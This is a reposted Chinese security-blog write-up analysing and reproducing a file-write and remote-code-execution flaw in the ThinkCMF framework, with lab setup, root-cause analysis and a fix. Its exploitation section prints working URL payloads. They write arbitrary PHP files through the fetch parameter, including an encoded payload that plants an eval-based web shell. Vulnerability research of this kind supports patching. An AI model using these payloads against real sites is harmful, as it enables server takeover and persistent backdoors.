首页 安全文摘 漏洞分析 正文

ThinkCMF框架任意内容包含漏洞分析复现

0x00 简介ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS

0x00 简介


ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用thinkphp3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述


攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本


ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 环境搭建


本次使用的环境版本是2.2.3,直接放到phpstudy的目录下,访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导,因此按照它的步骤一步一步来即可(2.2.3版本安装包获取方式:公众号内回复“ThinkCMF环境”)

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第1张

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第2张

填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第3张

继续下一步,环境搭建成功如图所示

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第4张

第一种
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
phpinfoPayload如下:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?phpphpinfo();?>')</php>

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第5张

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第6张


?a=display&templateFile=README.md

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第7张

0x05 漏洞分析


首先打开index.php文件,看一下程序的项目路径,如下显示项目路径在application目录下

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第8张

在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第9张

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第10张

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第11张

index.php?a=display&templateFile=README.md
fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,ThinkPHP的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第12张

index.php?a=fetch&content=<?php+file_put_contents("s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=");
0x06 修复方式


将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

参考链接:

https://www.freebuf.com/vuls/217586.html

ThinkCMF框架任意内容包含漏洞分析复现 漏洞复现 漏洞分析 安全文摘 黑白网 漏洞分析  第13张

文由Timeline Sec

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1555.html

相关推荐

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持